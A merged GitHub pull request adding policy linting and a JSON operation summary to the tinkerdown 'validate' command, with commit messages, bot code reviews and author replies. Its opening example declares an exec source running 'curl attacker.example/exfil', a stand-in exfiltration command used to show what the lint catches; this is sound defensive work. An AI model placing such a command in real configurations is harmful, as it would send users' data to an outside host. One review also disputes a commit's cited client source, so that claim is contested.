Skip to content

M1 Phase 2: policy lint + operation summary - #302

Merged
adnaan merged 5 commits into
mainfrom
m1/policy-lint
Jul 20, 2026
Merged

M1 Phase 2: policy lint + operation summary#302
adnaan merged 5 commits into
mainfrom
m1/policy-lint

Conversation

@adnaan

@adnaan adnaan commented Jul 20, 2026

Copy link
Copy Markdown
Contributor

Second phase of M1 in the ephemeral-UI reframe plan, following #301.

tinkerdown validate now enforces the approved surface, and validate --summary describes what a document does with it.

The check the original spec would have missed

The plan specified linting references: "every source/action referenced by the doc must be in the approved set." That passes this document:

sources:
  evil:
    type: exec
    cmd: "curl attacker.example/exfil"

It declares evil, then references evil — every name it uses resolves to something it defined, so a reference-only lint sees nothing wrong. Linting declarations is what closes it, and it turned out to be the cheap half (Page.Config already holds them) and the important half.

✗ index.md:
  action "exfiltrate": not in the approved set (approved actions: approve)
✗ index.md:
  source "evil": is declared in this document but not approved (approved sources: requests)

The Audit found two prerequisites the plan doesn't mention

validate was not config-aware. It called ParseFileInSite and discarded the result, and never loaded tinkerdown.yaml — so it had neither the approved set nor the parsed page. Same shape as Phase 1's finding: the parse layer is deliberately config-free, so anything policy-aware must load config itself.

Action references had no existing extraction to reuse. The plan said "reuse the parser's existing extraction, don't re-regex" — but an action name reaches the server from the client when a control is used (GenericState.HandleAction), so nothing in the parse pipeline ever enumerates them, and policy runs long before any click. Page.Refs() is new machinery.

It's an HTML parse, not a regex: name is a legitimate attribute on <input> and <select>, where it's a form field. Pattern-matching would report every form field as an action reference — noise that trains an operator to ignore diagnostics. There's a test pinning exactly that case.

Also: the Audit item referenced lvt-persist, which was removed from the codebase (page.go:585) — the fourth plan block naming something absent.

Operation summary

{
  "privileged": true,
  "operations": [
    { "kind": "action", "name": "approve", "type": "sql",
      "describes": "Grants scoped, time-boxed access and writes an audit record",
      "writes": true },
    { "kind": "source", "name": "requests", "type": "sqlite",
      "describes": "Pending PII access requests awaiting approval",
      "writes": true }
  ]
}

privileged is the proportionality rule — flip that source to readonly: true and it becomes false. Verified end-to-end, both directions.

Fixed a defect that defeated the flag's purpose: the 🔍 Validating… banner printed before the JSON, so stdout wasn't machine-parseable — and the consumer is a program deciding whether to interrupt its operator. Summary mode now emits only JSON on stdout; warnings go to stderr. Verified by piping through a parser rather than reading it.

Two deliberate calls: only approved names are summarized (an unapproved name is a violation — describing it would present something the document may not do as though it were planned), and every action counts as a write (an action exists to change something; parsing SQL to guess would be confidently wrong on the cases that matter — over-reporting is the safe direction).

Manifest accessor: struck, not deferred again

Phase 1 deferred it pending a real consumer. Phase 2 produced two — CheckPolicy and Summarize — and neither needed anything beyond Generation plus the existing approval accessors. A bundling struct would be a parallel representation of data the config already exposes, kept in sync for nobody.

Verification

  • Full GOWORK=off go test ./... green including the root package with all 32 //go:build !ci e2e files (863s)
  • 9 reference-extraction cases, 7 policy cases, 7 summary cases
  • Approval stays opt-in: a project with no generation: block lints exactly as before, verified end-to-end

Also fixes a bug this introduced: a file with policy violations printed its and counted toward Valid while reporting its own errors.

🤖 Generated with Claude Code

https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h

adnaan and others added 2 commits July 20, 2026 14:19
Makes `tinkerdown validate` enforce the approved surface. A document that
steps outside it now fails with a diagnostic naming the offender and the
approved alternatives.

The Audit found the plan framed this as "add a lint", when it is three
pieces -- two of them prerequisites the plan does not mention.

validate never loaded tinkerdown.yaml. It called ParseFileInSite and
discarded the result, so it had neither the approved set nor the parsed
page. This is the same shape as Phase 1's finding: the parse layer is
deliberately config-free, so anything policy-aware loads config itself. A
malformed config downgrades to a warning rather than refusing to check
syntax, since serve already reports config problems.

Action references had no existing extraction to reuse. An action name
reaches the server from the *client* when a control is used
(GenericState.HandleAction), so nothing in the parse pipeline ever
enumerates them -- the plan's "reuse the parser's existing extraction,
don't re-regex" could not be followed because there was nothing to reuse.
Page.Refs() recovers them by parsing block markup. It is an HTML parse
rather than a pattern match because `name` is a legitimate attribute on
input and select, where it is a form field; a regex would report every
form field as an action reference. There is a test for exactly that.

CheckPolicy checks references and declarations separately, because a
reference-only lint -- what the plan originally specified -- passes a
document that declares `evil` and then references `evil`: every name it
uses resolves to something it defined. Declarations turned out to be the
cheap half (Page.Config already holds them) and the important one.
Shadowing an approved name is reported as "ignored" rather than as a
breach: precedence already pins it at runtime, so the diagnostic exists
to tell a generating agent why its definition had no effect.

Also fixes a bug this introduced: a file with policy violations printed
its ✓ and counted toward Valid while reporting its own errors.

Approval stays opt-in -- a project with no generation block lints exactly
as before, verified end-to-end.

Verification: GOWORK=off go test ./... green including the root package
with all 32 !ci e2e files (866s), plus 9 extraction cases and 7 policy
cases.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h
Adds `tinkerdown validate --summary`, which describes what a document
does with the project's approved surface: the sources it reads, the
actions it runs, each with the manifest's describes: note and flags for
whether it executes, writes, or reaches the network.

The privileged bit carries the proportionality rule the plan asked for. A
console that only reads is not worth interrupting an operator over; one
that executes, writes, or talks off-host is. A prompt shown for every
generated page is a prompt nobody reads.

Two deliberate calls. Only approved names are summarized -- an unapproved
name is a policy violation and the lint reports it as such, so describing
it here would present something the document may not do as though it were
part of the plan. And every action counts as a write, because an action
exists to change something; the alternative was parsing SQL to guess,
which would be confidently wrong on exactly the cases that matter.
Over-reporting is the safe direction.

Fixes a defect that defeated the flag's purpose: the validating banner
printed before the JSON, so stdout was not machine-parseable, and the
consumer here is a program deciding whether to interrupt its operator
rather than a human reading a terminal. Summary mode now emits only JSON
on stdout, with the config-load warning moved to stderr. Verified by
piping stdout through a parser rather than reading it.

Strikes the Manifest accessor from Phase 1's deferral rather than
deferring it again: this phase produced its two real consumers,
CheckPolicy and Summarize, and neither needed anything beyond Generation
plus the existing approval accessors. A bundling struct would be a
parallel representation of data the config already exposes, kept in sync
for no consumer.

Verification: GOWORK=off go test ./... green including the root package
with all 32 !ci e2e files (863s), plus 7 summary cases. Proportionality
verified end-to-end -- the same console reports privileged true when its
source is writable and false when read-only.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h
@claude

claude Bot commented Jul 20, 2026

Copy link
Copy Markdown

Review

Solid piece of work overall — the declaration-vs-reference distinction is the right fix for the shadowing hole, nil-safety on *Config receivers is handled consistently throughout (IsManifest, ApprovedSource, ApprovedAction all guard c == nil), and the stdout/stderr split for --summary is done correctly (JSON only reaches fmt.Println, warnings go to Fprintf(os.Stderr, ...)). Test coverage on the new policy.go/summary.go/refs.go logic is thoughtful, including the exact "declare evil, reference evil" case the PR is built around.

One correctness gap in refs.go that's worth fixing before this ships, per CLAUDE.md's guidance to check livetemplate/client before reimplementing lvt-* behavior:

Page.Refs() misses the lvt-on:* action-invocation tier

refs.go's collectRefs only recognizes actions via the name attribute on <button> and <form> elements:

case "name":
    if n.Data == "button" || n.Data == "form" {
        if attr.Val != "" {
            actions[attr.Val] = true
        }
    }

But client/src/blocks/interactive-block.ts documents and implements a second, first-class action-dispatch mechanism:

  • lvt-on:click="action" — "Tier 2: ... for non-button elements (e.g., checkboxes, table rows)" (line 166, handled at line 191)
  • lvt-on:change="action" (line 254)

Neither is picked up by Page.Refs(), so any action invoked only through lvt-on:click/lvt-on:change is invisible to both CheckPolicy and Summarize:

  • Summarize impact is the sharper one. Its Privileged flag exists specifically so "a console that only reads is not worth interrupting anyone over; one that ... is." A document that invokes an approved but privileged (writes: true/execs: true) action only via lvt-on:click (e.g. a table-row action, which is exactly the use case the client code calls out) will have that action silently absent from Operations, and Privileged can come back false for a document that genuinely writes data or execs a command. That's a false negative in the exact gate the PR's own description frames as "the consumer is a program deciding whether to interrupt its operator."
  • CheckPolicy impact is narrower (the declaration-based checks that close the "evil declares evil" hole don't depend on the HTML scan at all — those still work), but a reference to an unapproved/undeclared action made only through lvt-on:click won't be flagged either, so the "self-correct until validate is clean" loop described in the plan doc won't catch it.

Suggest extending collectRefs to also read lvt-on:click / lvt-on:change (and any other lvt-on:* events the client dispatches on) as action references, and adding a refs_test.go case mirroring the existing button/form ones. Worth double-checking client/src/blocks/interactive-block.ts for the full list of lvt-on:* events before finalizing, since this review only confirmed click and change.

Smaller / lower-confidence notes

  • Fail-open on a broken manifest is a deliberate but sharp tradeoff. When config.LoadFromDir errors, both ValidateCommand and printOperationSummary proceed with manifest = nil, and since CheckPolicy/Summarize are nil-safe, the result is "no violations" / {"privileged": false, "operations": []} on stdout — the warning only reaches stderr. For the plain validate path that's reasonable (syntax checking shouldn't be held hostage by a bad config). For --summary specifically, given the documented consumer is "a program deciding whether to interrupt its operator" and likely only reads stdout, silently emitting a not-privileged summary on a config load failure seems like the wrong default — a stdout-only consumer has no signal that the "not privileged" verdict is actually "unknown, config failed to load." Consider having --summary return a non-zero exit / omit stdout entirely on manifestErr != nil rather than emitting a clean-looking empty summary.
  • dir argument parsing changed from "first positional wins" to "last positional wins" (cmd/tinkerdown/commands/validate.go): the old code took args[0] unconditionally; the new loop assigns dir = arg for every non-flag argument, so with multiple positional args the last one now wins instead of the first. Probably harmless since validate has only ever documented one positional arg, but flagging in case it's unintentional.
  • Datatable rich mode (lvt-datatable) note, not a blocker: lvt-actions="..." is rendered as literal <button name="..."> markup (and thus caught by Refs()) in the simple table mode (generateSimpleTable in page.go), but in lvt-datatable mode the actions/columns are handed to github.com/livetemplate/lvt/components/datatable via .Table, and internal/runtime/state.go's buildDataTable() doesn't appear to wire lvt-actions metadata into that struct at all currently — so this looks like pre-existing dead functionality in rich mode rather than a gap introduced by this PR. Worth a quick sanity check that rich-mode tables can't currently render action buttons from lvt-actions, since if they can (via some path not visible from this repo), that's the same class of miss as the lvt-on:* issue above.

Nice catch on the pre-existing /Valid double-counting bug for policy-violating files, and the mermaid-diagram interaction with the new violations count (else if len(violations) == 0) — that fix looks correct.

Review-bot catch on #302, and re-verifying past it found a second gap the
bot did not name.

The lint recognised only name= on button/form. An action can be bound
three ways, and two were invisible:

  lvt-on:{event}="Action"  -- the tier for controls that are not buttons.
    parser.go:77 says so outright ("triggered via button name routing or
    lvt-on:click") and auto_tasks.go:217 generates it, so Tinkerdown was
    emitting a form its own policy check could not see.
  lvt-form:action="Action" -- explicit form routing, and *first* in the
    client's resolution order (event-delegation.ts:293) ahead of
    submitter name and form name.

This was a hole, not an omission: an unapproved action invoked only via
lvt-on:click passed the lint clean. Verified end-to-end that it is now
reported.

Root cause is mine and the project's CLAUDE.md names it exactly -- check
livetemplate/client before reimplementing lvt-* behavior. I built action
extraction from how I assumed actions were bound rather than from how the
client dispatches them. The rule exists for this.

Second time in this session that re-verifying beyond a reported instance
found another (the first was lvt-focus-trap, where the batch re-check
turned up lvt-debounce). Treat a review finding as a sample of a class,
not the whole of it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h
@adnaan

adnaan commented Jul 20, 2026

Copy link
Copy Markdown
Contributor Author

Confirmed — this was a hole, not an omission, and re-verifying past it found a second one you didn't name.

lvt-on:{event} — you're right, and parser.go:77 says it outright: "Action defines a custom action that can be triggered via button name routing or lvt-on:click." Worse, auto_tasks.go:217 generates lvt-on:click="Toggle" — so Tinkerdown was emitting a dispatch form its own policy check couldn't see.

lvt-form:action — found by checking the client's full resolution order (event-delegation.ts:293): explicit routing comes first, ahead of submitter name and form name. Also missed.

Verified end-to-end that an unapproved action invoked only via lvt-on:click now fails the lint. Before the fix it passed clean:

✗ index.md:
  action "DeleteEverything": not in the approved set (approved actions: approve)

Root cause is mine, and this repo's CLAUDE.md names it exactlycheck livetemplate/client before reimplementing lvt-* behavior. I built action extraction from how I assumed actions were bound rather than from how the client actually dispatches them. Thanks for applying the rule I skipped.

Worth recording: this is the second time this session that re-verifying beyond a reported instance found another (the first was lvt-focus-trap, where re-checking the batch turned up lvt-debounce). A review finding is a sample of a class, not the whole of it — I'll keep treating them that way.

Full suite re-running; targeted tests green including two new cases pinning both tiers.

@claude

claude Bot commented Jul 20, 2026

Copy link
Copy Markdown

Review

Nicely scoped phase, and the third commit's self-correction on lvt-on:/lvt-form:action is a good example of following CLAUDE.md's "check livetemplate/client before reimplementing" rule after the fact. I cross-checked refs.go's dispatch tiers against the rest of this repo (docs/reference/lvt-attributes.md, page.go, auto_tables.go): the lvt-actions="delete:Delete" table/list mechanism is a fourth-looking tier, but it's already covered — autoGenerateTableTemplate/autoGenerateListTemplate expand it into literal <button name="delete"> markup before Page.Refs() ever walks the block content (page.go:439-441), and the rich lvt-datatable mode doesn't wire lvt-actions through to rendered buttons at all (page.go:684-692 drops the actions variable on that branch). So I don't think there's a missing tier here.

A few smaller things worth a look:

Test coverage gap for the exact defect class this PR already found once. policy_test.go/summary_test.go/refs_test.go cover the pure logic well, but nothing in validate_test.go exercises ValidateCommand itself — the --summary flag parsing, configDir, or the "nothing but JSON reaches stdout" guarantee. The PR description calls out fixing exactly this ("the 🔍 Validating… banner printed before the JSON... Verified by piping through a parser rather than reading it") and the plan doc even flags it as fragile ("a stray fmt.Printf in the validate path would silently corrupt it... re-verify by piping through a parser, not by eye"). Worth turning that manual verification into a small test that runs ValidateCommand(["--summary", dir]) against a temp fixture and asserts stdout is valid JSON with no leading/trailing text, so a future change can't reintroduce the bug silently.

Minor duplication: internal/config/summary.go:61 re-derives the readonly/writable check inline —

Writes: src.Readonly != nil && !*src.Readonly,

SourceConfig already has IsReadonly() (config.go:287), used everywhere else for this exact determination (auto_tables.go:271, internal/runtime/actions.go:103, internal/runtime/state.go). !src.IsReadonly() is equivalent today and would stay in sync if the "nil means read-only" default ever changed.

Minor gap: a sql action always reports network: false, even when its source (Action.Source) points at a network-reaching backend (pg/rest/graphql). Doesn't affect privileged (actions are always Writes: true), but the per-operation network field understates what the operator is shown for that case.

Minor inconsistencies, not blocking:

  • printOperationSummary's WalkDir only skips _/.-prefixed dirs, not the node_modules/vendor/dist/build/target/.git list the plain-validate walk skips a few lines away — unlikely to matter for .md files in practice, but the two walks now disagree.
  • Unknown --prefixed args (e.g. a typo --sumary) are silently ignored rather than erroring, so a typo silently falls back to human-readable output instead of failing loudly for a script expecting JSON.
  • cmd/tinkerdown/main.go's usage text (lines ~109-126) wasn't updated to mention --summary.

Nothing here blocks — the core policy/summary logic and the declaration-vs-reference distinction look correct, and the shadowing case is handled sensibly (reported, not double-counted against the reference check).

…fixes

The important one: --summary's "nothing but JSON reaches stdout" was
fixed by hand-verification and never pinned. That is the exact defect
class this PR already shipped once -- the validating banner printing
before the JSON -- and a single stray fmt.Printf anywhere in the validate
path would silently break it again with nothing to catch it. A fix
without a test is a claim with no mechanism to falsify it.

validate_summary_test.go now exercises ValidateCommand end to end and
parses its stdout. Verified by adding a stray Println and watching the
test fail with "stdout is not valid JSON", then removing it.

Five smaller items from the same review:

  - Use SourceConfig.IsReadonly() rather than re-deriving the
    nil-means-readonly default inline, so the summary cannot drift from
    the rest of the codebase if that default changes.
  - A sql action now inherits the network reach of the source it runs
    against. One pointed at pg/rest/graphql was reporting network: false,
    understating what the operator is shown.
  - The summary walk and the validation walk share a skip list instead of
    disagreeing about what counts as part of the site.
  - An unknown flag errors instead of being ignored: a mistyped --sumary
    silently produced human-readable output that a script expecting JSON
    would then try to parse.
  - main.go usage documents --summary.

Verification: GOWORK=off go test ./... green including the root package
with all 32 !ci e2e files (836s).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h
@adnaan

adnaan commented Jul 20, 2026

Copy link
Copy Markdown
Contributor Author

All six addressed, and the first was the one I'd have called done.

The stdout-purity test. You're right that this is the exact defect class this PR already shipped once, and that I'd fixed it by hand-verification with nothing pinning it. validate_summary_test.go now drives ValidateCommand end-to-end and parses its stdout. Verified it fails by adding a stray Println:

stdout is not valid JSON — a non-JSON write reached stdout.

Worth naming why I missed it: I've been careful all phase to confirm a mechanism can fail — neutralising implementations to watch tests break — but treated a hand-verified fix as finished. Hand-verification is precisely what doesn't survive the next commit. A fix without a test is a claim with no mechanism to falsify it.

sql action network reach — good catch, and it mattered more than "understates": an action against a pg source is talking off-host, and the operator was being told otherwise. Now inherits from Action.Source.

IsReadonly() — using the helper; agreed that re-deriving the nil-means-readonly default would drift.

Unknown flags now error. A mistyped --sumary producing human-readable output that a script then tries to parse as JSON is a bad failure mode.

Shared skip list between the two walks, and usage text updated.

Also — thank you for independently checking whether lvt-actions was a fourth dispatch tier and confirming autoGenerateTableTemplate expands it to literal <button name="delete"> before Page.Refs() walks. That closes the class rather than leaving me to wonder whether the previous fix was complete, which is exactly what I needed after finding two missed tiers.

Full suite green at 836s.

@claude

claude Bot commented Jul 20, 2026

Copy link
Copy Markdown

Review

Nice, well-tested phase overall — the declared-vs-referenced split, the config-awareness fix, and the pure-stdout regression test are all good. A few issues worth addressing before merge, roughly in order of severity.

1. (High) A malformed tinkerdown.yaml makes --summary silently report "nothing privileged"

cmd/tinkerdown/commands/validate.go (ValidateCommand / printOperationSummary):

manifest, manifestErr := config.LoadFromDir(configDir(absDir))
if manifestErr != nil {
    fmt.Fprintf(os.Stderr, "Could not load project config for policy checks: %v\n", manifestErr)
    manifest = nil
}
if summaryOnly {
    return printOperationSummary(absDir, manifest)
}

printOperationSummary calls manifest.Summarize(...) on the now-nil manifest, which (correctly, per IsManifest()) returns nil, and that gets turned into {"privileged": false, "operations": []} on stdout — exit code 0.

That output is indistinguishable from "this project declares no generation: block, nothing to review," but it's actually "the config failed to load (e.g. a YAML syntax error, or a typo in generation.actions that trips ValidateGeneration), so the approved surface — including any exec/write sources — was never checked." Per the PR description, the whole point of privileged is that "a program decid[es] whether to interrupt its operator" based on it. A broken manifest currently fails open: the consumer sees "safe," not "couldn't tell." Given the warning only goes to stderr (which a script piping stdout through a JSON parser, per the PR's own regression test, won't see), this seems like the wrong failure direction for a policy gate.

Suggest either: making a config load failure a hard error in --summary mode, or surfacing it in the JSON itself (e.g. an "error" field) rather than folding it into "no operations."

2. (Medium) lvt-form:action doesn't appear to exist in the client

Commit a86e83a ("fix: recognise all three action-dispatch tiers in Page.Refs") adds a third action-dispatch tier to refs.go, citing event-delegation.ts:293 as the source for lvt-form:action being "first in the client's resolution order... ahead of submitter name and form name."

I couldn't find that file or attribute anywhere in this repo:

  • No file named event-delegation.ts exists in the tree (vendored client/ or elsewhere).
  • grep -rn "lvt-form" client/src/ returns nothing.
  • The actual dispatch logic, client/src/blocks/interactive-block.ts (handleClick/handleSubmit/handleChange), implements exactly three things: an orphan button[name] click, lvt-on:click/lvt-on:change, and form submit resolved as submitter.name (button) then form.getAttribute("name") then give up. There's no fourth lvt-form:action tier, and no "first in resolution order" — submit resolution has exactly two rungs.

This is precisely the check CLAUDE.md calls for ("check if a lvt-* attribute is already implemented in the livetemplate/client repository before reimplementing it"), and the commit message claims to have done it with a specific citation — but the citation doesn't correspond to anything in this codebase. Practically it's inert (the client never reads the attribute, so this can only produce false-positive "unapproved action" violations on markup nobody would realistically write, not a policy bypass), but it's now enshrined in refs.go's doc comment, a test case, and the plan doc's "Learn" section as settled fact. Worth verifying against the actual livetemplate/client source (if it's genuinely a separate, newer version than what's vendored here) or removing before this citation propagates further.

3. (Low/Medium) network under-reports exec sources and actions

internal/config/summary.go: sourceReachesNetwork only treats rest, graphql, pg as network, and the action equivalent adds http. An exec source or action — e.g. the PR description's own running example, cmd: "curl attacker.example/exfil" — is flagged execs: true but network: false.

Privileged still ends up true (since Execs alone trips it), so the top-level gate isn't bypassed. But the PR frames execs/writes/network as three independent signals for an operator to weigh proportionality, and exec is the one primitive that can trivially do all three at once. A consumer that inspects network specifically (e.g. "does this need an egress/exfiltration review") gets a false negative for the most capable vector in the system.

4. (Low) skipWalkDir's doc comment claims sharing that doesn't happen

cmd/tinkerdown/commands/validate.go:

// skipWalkDir reports whether a directory is not worth descending into. Shared so the
// summary walk and the validation walk cannot drift apart on what they consider part
// of the site.
func skipWalkDir(name string) bool { ... }

Only printOperationSummary's walk actually calls skipWalkDir. The main ValidateCommand walk still has its own separately-maintained inline skip list (node_modules, vendor, dist, build, target, .git vs. the prefix check + same list minus .git). They happen to agree today only because .git starts with ., which the prefix check independently catches — not because of any actual sharing. A future edit to one list has no reason to touch the other, which is exactly the drift the comment says can't happen. Either wire the main walk through skipWalkDir too, or fix the comment.

Nits

  • Test coverage for the new code is solid (reference extraction, policy, summary, plus the stdout-purity regression test), but there's no test covering a malformed-config-in---summary-mode scenario (finding 1), which would have caught the fail-open behavior directly.

Generated with Claude Code

Review-bot catch on #302, and the most serious defect of this phase.

A malformed tinkerdown.yaml left manifest nil, and a nil manifest
summarises to {"privileged": false, "operations": []} with exit 0 --
byte-identical to "this project declares no approved surface, nothing to
review". The consumer decides whether to interrupt its operator from that
bit, so the gate reported "safe" when the truth was "couldn't tell", and
handed an unreviewed app straight through. The warning went to stderr,
which a consumer parsing stdout never sees.

Worse in context: ValidateGeneration, added in Phase 1, turns a typo in
generation.sources into exactly this load error -- deliberately, because
an inert approval leaves a name shadowable. Failing open here muted the
alarm it exists to raise. I built the loud failure and then wired it to a
mute switch.

Summary mode is now fatal on a config it cannot read. Plain validate
keeps the previous behavior: report the problem, still check document
syntax, which remains useful. Verified by restoring the fail-open branch
and watching the new test fail.

The bug is not a forgotten case. The safe-looking default was wrong:
`manifest = nil` reads as harmless while silently converting "could not
read the policy" into "there is no policy". A policy gate has a mandatory
failure direction and nil-as-empty picked the wrong one.

Also fixes a false comment of mine. I claimed the two directory walks
share a skip list so they cannot drift, having wired only the summary
walk through skipWalkDir; the main walk kept its own inline copy and they
agreed by coincidence, since .git starts with a dot the prefix check
already catches. They now genuinely share it. Same shape as Phase 1's
GenerationConfig comment: I described the property I intended rather than
the one I built.

Verification: GOWORK=off go test ./... green including the root package
with all 32 !ci e2e files (836s).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018M9pJSPmG6i1D8s6rpEV4h
@adnaan

adnaan commented Jul 20, 2026

Copy link
Copy Markdown
Contributor Author

Both fixed — and the first is the most serious defect of this phase.

Fail-open on a policy gate. You're right on every part of it: nil manifest → {"privileged": false, "operations": []} → indistinguishable from "nothing to review" → operator review skipped, with the warning on stderr where a stdout-parsing consumer never sees it.

It's worse than the general case, because ValidateGeneration (added in Phase 1) turns an approval typo into exactly this load error — deliberately, since an inert approval leaves a name shadowable. So I built the loud failure and then wired it to a mute switch. --summary is now fatal on a config it can't read; plain validate keeps reporting the problem and checking syntax.

Verified by restoring the fail-open branch and watching the new test fail — including a case for the approval-typo path specifically, which is the one you noted had no coverage.

What I take from it: this wasn't a forgotten case, it was a wrong safe-looking default. manifest = nil reads as harmless while converting "couldn't read the policy" into "there is no policy." A policy gate has a mandatory failure direction, and nil-as-empty picked the wrong one silently.

Second finding — my comment was false. I claimed the two walks shared a skip list "so they cannot drift," having wired only the summary walk through skipWalkDir. You're right they agreed purely because .git starts with a dot the prefix check already catches. Now they genuinely share it.

That's the same shape as Phase 1's GenerationConfig comment claiming enforcement that didn't exist — I described the property I intended rather than the one I'd built. Twice now, both caught here rather than by me. Worth me treating "the comment asserts an invariant" as a prompt to go verify the invariant holds.

Full suite green at 836s.

@claude

claude Bot commented Jul 20, 2026

Copy link
Copy Markdown

Review

Solid, well-scoped PR. The commit history shows real self-review discipline — two rounds where review-bot findings were investigated further and turned up a second, related gap each time (missed lvt-on:/lvt-form:action dispatch tiers; fail-open on a broken manifest in --summary). That's exactly the right instinct and it shows in the result.

Correctness

  • Declarations vs. references (internal/config/policy.go): checking both is the right call — a reference-only lint is bypassable by declaring the name you reference, and the PR's own example (sources: { evil: ... } + lvt-source="evil") demonstrates it well. policy_test.go pins this directly.
  • Nil-safety: Config.CheckPolicy/Summarize correctly guard via IsManifest() before touching c.Generation, so manifest.CheckPolicy(...) is safe even when manifest is nil (config failed to load, non-summary path). Good use of the existing nil-safe ApprovedSource/ApprovedAction pattern.
  • Fail-closed on --summary: making a broken tinkerdown.yaml fatal in summary mode (rather than defaulting to {"privileged": false}) is the correct call given the stated threat model — a policy gate that fails open is worse than one that fails loudly. Nice catch, and TestSummaryFailsClosedOnBrokenConfig pins both the malformed-YAML and approval-typo cases.
  • Page.Refs() action extraction: doing a real HTML parse instead of a regex is justified — name is a legitimate <input>/<select> attribute, and the fix commit correctly widened extraction to all three dispatch tiers (name= on button/form, lvt-on:{event}, lvt-form:action), matching what docs/reference/lvt-attributes.md documents as the event-handling surface (name, lvt-on:{event}) and what the CLAUDE.md-mandated client check turned up for lvt-form:action.

Minor observations (non-blocking)

  1. Unused fields in printOperationSummary (cmd/tinkerdown/commands/validate.go): the combined-refs walk collects combined.DeclaredSources/combined.DeclaredActions across all documents, but Config.Summarize only ever reads refs.Sources/refs.Actions (internal/config/summary.go) — the declared-name aggregation is computed and then never consumed. Harmless, but it's dead work and slightly misleading to a reader who assumes it feeds something.

  2. --summary silently skips unparseable documents: in the summary walk, a document that fails ParseFileInSite is just skipped (if perr != nil { return nil }), so its operations (if any) don't appear in the aggregate summary. Given how carefully this PR treats "couldn't tell" vs. "nothing to review" for the manifest-load case, it's worth a beat of thought on whether the same distinction should apply here — e.g. if a consumer runs --summary standalone (without plain validate first) against a project where one page has a syntax error, that page's operations are invisible to the summary rather than causing a hard failure. In practice this is probably low-risk since a page that fails to parse also fails to serve, but it's a slightly different failure-handling philosophy than the rest of the PR applies elsewhere.

  3. lvt-form:action isn't in docs/reference/lvt-attributes.md: refs.go treats it as a first-class, first-priority dispatch tier (verified against event-delegation.ts per the commit message), but it doesn't appear in the tinkerdown docs' attribute reference alongside lvt-on: and name=. Not a defect in this PR, but since Page.Refs() now depends on knowing the complete set of dispatch tiers, it'd be worth adding to the docs so this doesn't silently drift out of sync again if the client adds a fourth tier later.

Test coverage

Coverage looks thorough — reference extraction (9 cases incl. the input/select false-positive guard, nil-page, malformed markup), policy checks (7 cases incl. shadowing vs. violation, dedup), summary generation (7 cases), and the JSON-purity contract on stdout (regression-tested by actually parsing captured stdout rather than eyeballing it). The TestSummaryFailsClosedOnBrokenConfig and TestPolicyViolationFailsValidation tests target exactly the failure modes that matter most here (fail-open, and violations not failing the command).

Security

No concerns beyond what's already been addressed in-PR. The core security property — an unapproved source/action can't sneak past the lint by declaring itself, and a broken policy config can't silently read as "nothing to review" — is both correctly implemented and tested.

Nothing here blocks merging; items 1–3 are polish/follow-up candidates.

@adnaan
adnaan merged commit 1f4eb9a into main Jul 20, 2026
4 checks passed
@adnaan
adnaan deleted the m1/policy-lint branch July 20, 2026 16:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant